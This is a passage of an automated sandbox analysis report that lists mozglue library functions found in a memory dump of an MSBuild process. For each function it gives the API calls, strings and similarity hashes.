strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4DCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4DCAA5

Strings

(null), xrefs: 6C4DC596
0, xrefs: 6C4DD30A

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: ee598d710473d0dd9f44ae9b356b2b7c9b6c993631a733383272a60699f5b64d
Instruction ID: 4d7b5300df8ae1d2837036c073ff37a787c33f27ace330457f340fde0b2c435b
Opcode Fuzzy Hash: ee598d710473d0dd9f44ae9b356b2b7c9b6c993631a733383272a60699f5b64d
Instruction Fuzzy Hash: B7A1BD306083519FDB10EF28C9A4F1ABBE1AF89349F06895DE889D3741D731E805CF92

Function 6C4B48E0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,6C4F483A,?), ref: 6C4B4ACB
memcpy.VCRUNTIME140(-00000023,?,?,?,?,6C4F483A,?), ref: 6C4B4AE0
moz_xmalloc.MOZGLUE(?,?,6C4F483A,?), ref: 6C4B4A82

Part of subcall function 6C4CCA10: mozalloc_abort.MOZGLUE(?), ref: 6C4CCAA2

memcpy.VCRUNTIME140(-00000023,?,?,?,?,6C4F483A,?), ref: 6C4B4A97
moz_xmalloc.MOZGLUE(?,?,6C4F483A,?), ref: 6C4B4A35

Part of subcall function 6C4CCA10: malloc.MOZGLUE(?), ref: 6C4CCA26

memcpy.VCRUNTIME140(-00000023,?,?,?,?,6C4F483A,?), ref: 6C4B4A4A
moz_xmalloc.MOZGLUE(?,?,6C4F483A,?), ref: 6C4B4AF4
moz_xmalloc.MOZGLUE(?,?,6C4F483A,?), ref: 6C4B4B10
moz_xmalloc.MOZGLUE(?,?,6C4F483A,?), ref: 6C4B4B2C

Strings

:HOl, xrefs: 6C4B48EB, 6C4B49FB

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID: :HOl
API String ID: 4251373892-4089341208
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 131159c31e8ba0023e90739cc3d642ae9e093136e553bb45f235a6e1e1d20ea3
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 477169B1900606DFCB14CF68C480EAAB7F4FF48358B104A3ED55A9BB51E731E955CB90

Function 6C4DC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4DC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4DC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C4DC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4DC891

Strings

inf, xrefs: 6C4DC78F
NAN, xrefs: 6C4DC7AD
nan, xrefs: 6C4DC7A8
INF, xrefs: 6C4DC794

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: b4e2e6cfc926abfb3f15946504d5df082a1a94fa84f264197b9835889b7fedba
Instruction ID: 8999f6f3dc639bd9c97a6ee627d0929aae28b78f3a3f717b17d8c08c76f75bf2
Opcode Fuzzy Hash: b4e2e6cfc926abfb3f15946504d5df082a1a94fa84f264197b9835889b7fedba
Instruction Fuzzy Hash: 3C5182709087408BD700EF6CC591E9AFBF0BF8A309F014A2DF9D5A7651E770E9858B52

Function 6C4B3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C4B3284,?,?,6C4D56F6), ref: 6C4B3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C4B3284,?,?,6C4D56F6), ref: 6C4B34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C4B3284,?,?,6C4D56F6), ref: 6C4B34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C4B350E
__Init_thread_footer.LIBCMT ref: 6C4B3522
__aulldiv.LIBCMT ref: 6C4B3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C4B3284,?,?,6C4D56F6), ref: 6C4B357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C4B3284,?,?,6C4D56F6), ref: 6C4B3592

Part of subcall function 6C4EAB89: EnterCriticalSection.KERNEL32(6C53E370,?,?,?,6C4B34DE,6C53F6CC,?,?,?,?,?,?,?,6C4B3284), ref: 6C4EAB94
Part of subcall function 6C4EAB89: LeaveCriticalSection.KERNEL32(6C53E370,?,6C4B34DE,6C53F6CC,?,?,?,?,?,?,?,6C4B3284,?,?,6C4D56F6), ref: 6C4EABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C4B3508
kernel32.dll, xrefs: 6C4B34EA

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 8a5c04a1f3f0e900f6ce4056ca2cf9c8e0da9003bf27a733d7cac53f71ead253
Instruction ID: f39e33512198ced6152d4d44b5f05ae69619f1f3be1d3bf403539eb548f94fba
Opcode Fuzzy Hash: 8a5c04a1f3f0e900f6ce4056ca2cf9c8e0da9003bf27a733d7cac53f71ead253
Instruction Fuzzy Hash: 7031AF71B002059BDF20EFB9CD48FAA77B5FB49319F120119E509A3790FB70A904CB64

Function 6C4B4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C4F4843,?), ref: 6C4B45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C4F4843,?), ref: 6C4B468A
free.MOZGLUE(?,?,?,?,?,?,6C4F4843,?), ref: 6C4B46C9
free.MOZGLUE(?), ref: 6C4B46EF
free.MOZGLUE(?), ref: 6C4B4712
free.MOZGLUE(?), ref: 6C4B4735
free.MOZGLUE(?), ref: 6C4B4758
free.MOZGLUE(?), ref: 6C4B477B
free.MOZGLUE(?), ref: 6C4B479E

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 257ae9e8e670a7a73ce194c40e6fdccbf33c24fc204a8309be24140de8b613fb
Instruction ID: 8436b87415962ad56a47964c8b96b5a52acc713443cdc75623f0b4d96e2372cc
Opcode Fuzzy Hash: 257ae9e8e670a7a73ce194c40e6fdccbf33c24fc204a8309be24140de8b613fb
Instruction Fuzzy Hash: 38B10575A001118FDB18DF3CD8A0F6D77B2AF423A8F18166DE416EBB92D7309940CBA1

Function 6C51AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C51AC52
CreateFileMappingW.KERNEL32 ref: 6C51AC7D
GetSystemInfo.KERNEL32 ref: 6C51AC98
MapViewOfFile.KERNEL32 ref: 6C51ACB0
GetSystemInfo.KERNEL32 ref: 6C51ACCD
MapViewOfFile.KERNEL32 ref: 6C51AD05
UnmapViewOfFile.KERNEL32 ref: 6C51AD1C
CloseHandle.KERNEL32 ref: 6C51AD28
UnmapViewOfFile.KERNEL32 ref: 6C51AD37
CloseHandle.KERNEL32 ref: 6C51AD43
CloseHandle.KERNEL32 ref: 6C51AD67

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 94f7e0f5a6c72707f0eeb0cbda41e567f56789cfa9eaa8d5096badb31b4aafae
Instruction ID: 925bc4c21f491f5bae48bc271de4899a10010ba6925c899ebc25767442f6d8fe
Opcode Fuzzy Hash: 94f7e0f5a6c72707f0eeb0cbda41e567f56789cfa9eaa8d5096badb31b4aafae
Instruction Fuzzy Hash: 9B313EB1904B058FDB00BF7DDA4866EBBF0BF85315F02492DE98997351EB749448CB86

Function 6C4C9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4C9675
__Init_thread_footer.LIBCMT ref: 6C4C9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4C96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4C9707
__Init_thread_footer.LIBCMT ref: 6C4C971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4C9773

Part of subcall function 6C4EAB89: EnterCriticalSection.KERNEL32(6C53E370,?,?,?,6C4B34DE,6C53F6CC,?,?,?,?,?,?,?,6C4B3284), ref: 6C4EAB94
Part of subcall function 6C4EAB89: LeaveCriticalSection.KERNEL32(6C53E370,?,6C4B34DE,6C53F6CC,?,?,?,?,?,?,?,6C4B3284,?,?,6C4D56F6), ref: 6C4EABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4C97B7
FreeLibrary.KERNEL32 ref: 6C4C97D0
FreeLibrary.KERNEL32 ref: 6C4C97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4C9824

Strings

NtMapViewOfSection, xrefs: 6C4C9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4C9670
ntdll.dll, xrefs: 6C4C96E3
MapViewOfFileNuma2, xrefs: 6C4C97B1

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 85badcfdeddae755c11a611282f58d3b54f23dbf51a649537ea3369058093074
Instruction ID: 99942d12d8ebea69f82b7bd5189c4d5cf826740dc97c3f3b9610b59ab9bd9ab8
Opcode Fuzzy Hash: 85badcfdeddae755c11a611282f58d3b54f23dbf51a649537ea3369058093074
Instruction Fuzzy Hash: B841B475701205EFDF10DFA5DC88E9A7BB4EB49319F024268ED0A97790F731A814CBA6

Function 6C500000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4C4A68), ref: 6C4F945E
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4F9470
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4F9482
Part of subcall function 6C4F9420: __Init_thread_footer.LIBCMT ref: 6C4F949F

GetCurrentThreadId.KERNEL32 ref: 6C500039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C500041
GetCurrentThreadId.KERNEL32 ref: 6C500075
AcquireSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C500082
moz_xmalloc.MOZGLUE(00000048), ref: 6C500090
free.MOZGLUE(?), ref: 6C500104
ReleaseSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C50011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C50005B

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: d0eefb7909656363838b29da821df3cacc7ee8cf5fe2e89cc778f2c9169a5d6c
Instruction ID: 5c57bda60290bca78aa18ba274668bb989ec1f478774e42c68018af666b19314
Opcode Fuzzy Hash: d0eefb7909656363838b29da821df3cacc7ee8cf5fe2e89cc778f2c9169a5d6c
Instruction Fuzzy Hash: 18418DB5600754DFCB20DF64CC40A9ABBF1FF89318F41491EE99A83B51EB31A815CBA5

Function 6C4C7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4C7EA7
malloc.MOZGLUE(00000001), ref: 6C4C7EB3

Part of subcall function 6C4CCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C4CCB49
Part of subcall function 6C4CCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C4CCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C4C7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C4C7F19
malloc.MOZGLUE(?), ref: 6C4C7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4C7F4D

Strings

d, xrefs: 6C4C7F89

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: cdf1cfe585934740ec5e4cac0153fb2fb6e936583cc05c7be2385d95f741fa08
Instruction ID: 773f3a5aea8bb5ea8ca165ad114727b51dd28f44c511b23b9a7c96e0ea344da5
Opcode Fuzzy Hash: cdf1cfe585934740ec5e4cac0153fb2fb6e936583cc05c7be2385d95f741fa08
Instruction Fuzzy Hash: C631F861E0438897EB01DB68CC44EFEB7B8EF95208F055628DC4997712FB35A9C8C395

Function 6C4C3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C4C3CCC), ref: 6C4C3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4C3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C4C3CCC), ref: 6C4C4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4C40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4C3CCC), ref: 6C4C40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4C3CCC), ref: 6C4C40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4C4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4C3CCC), ref: 6C4C4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4C3CCC), ref: 6C4C4157

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: ec0f49d89eba484bf25e925ad11ebd6dc95505714569c2ad6af67f54233a97fc
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 0FA19EB5A40205CFEB40CF29C980F69B7F5BF48348F254599D909AF762D731E886CBA1

Function 6C4B2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C4D3F47,?,?,?,6C4D3F47,6C4D1A70,?), ref: 6C4B207F
memset.VCRUNTIME140(?,000000E5,6C4D3F47,?,6C4D3F47,6C4D1A70,?), ref: 6C4B20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C4D3F47,6C4D1A70,?), ref: 6C4B211A
EnterCriticalSection.KERNEL32(6C53E744,?,6C4D3F47,6C4D1A70,?), ref: 6C4B2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C4D3F47,6C4D1A70,?), ref: 6C4B21BA
EnterCriticalSection.KERNEL32(6C53E744,?,6C4D3F47,6C4D1A70,?), ref: 6C4B21E0
LeaveCriticalSection.KERNEL32(6C53E744,?,6C4D3F47,6C4D1A70,?), ref: 6C4B2232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C4B2253, 6C4B2268
MOZ_CRASH(), xrefs: 6C4B227D

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 388e7b8a40a95f18d05e57b3406ef8592678dd72ed1a90ca1e3e66ff95163ef9
Instruction ID: 73b803f2824eac2b280001ff0bdb76de891dd39d6ad9b26cf23fb6c5e277bf9b
Opcode Fuzzy Hash: 388e7b8a40a95f18d05e57b3406ef8592678dd72ed1a90ca1e3e66ff95163ef9
Instruction Fuzzy Hash: EC61C631F006168FDB28CA68CC89F6E77B1AF85315F154639E628B7B94EB709C01C7A1

Function 6C509D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C508273), ref: 6C509D65
free.MOZGLUE(6C508273,?), ref: 6C509D7C
free.MOZGLUE(?,?), ref: 6C509D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C509E0F
free.MOZGLUE(6C50946B,?,?), ref: 6C509E24
free.MOZGLUE(?,?,?), ref: 6C509E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C509EC8
free.MOZGLUE(6C50946B,?,?,?), ref: 6C509EDF
free.MOZGLUE(?,?,?,?), ref: 6C509EF5

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: e670ce6079005bd6fbc65d8bc7bc425084f287863b8e5a8867257cd3b2e1806e
Instruction ID: 9cf3e9c3c6b6bbbbbee378926c73b72ddad0f257a5e16b5c31f45b2069b2a855
Opcode Fuzzy Hash: e670ce6079005bd6fbc65d8bc7bc425084f287863b8e5a8867257cd3b2e1806e
Instruction Fuzzy Hash: 05718CB4A09B418BD712DF18C89095AF3F4FF99315B45861DE89A9BB05EB30F885CBC1

Function 6C50DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C50DDCF

Part of subcall function 6C4EFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C4EFA4B

Part of subcall function 6C5090E0: free.MOZGLUE(?,00000000,?,?,6C50DEDB), ref: 6C5090FF
Part of subcall function 6C5090E0: free.MOZGLUE(?,00000000,?,?,6C50DEDB), ref: 6C509108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C50DE0D
free.MOZGLUE(00000000), ref: 6C50DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C50DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C50DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C50DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C4FDEFD,?,6C4C4A68), ref: 6C50DF32

Part of subcall function 6C50DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C50DB86
Part of subcall function 6C50DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C50DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C4FDEFD,?,6C4C4A68), ref: 6C50DF65
free.MOZGLUE(?), ref: 6C50DF80

Part of subcall function 6C4D5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4D5EDB
Part of subcall function 6C4D5E90: memset.VCRUNTIME140(ewQl,000000E5,?), ref: 6C4D5F27
Part of subcall function 6C4D5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4D5FB2

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 23467525b374a962e1fde7b90de9f94c2bdec17318c54fe8b6897e8540d2433f
Instruction ID: 6aa9088bf9ab248450bf097c63c9635d9a17b14071a5f9705fe9f38e1aa0b2fc
Opcode Fuzzy Hash: 23467525b374a962e1fde7b90de9f94c2bdec17318c54fe8b6897e8540d2433f
Instruction Fuzzy Hash: EC51B1767016119BD721DB28CC80AAEB3B2BF91358F96451CD81A93B00EB31F919CBD2

Function 6C515D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C515C8C,?,6C4EE829), ref: 6C515D32
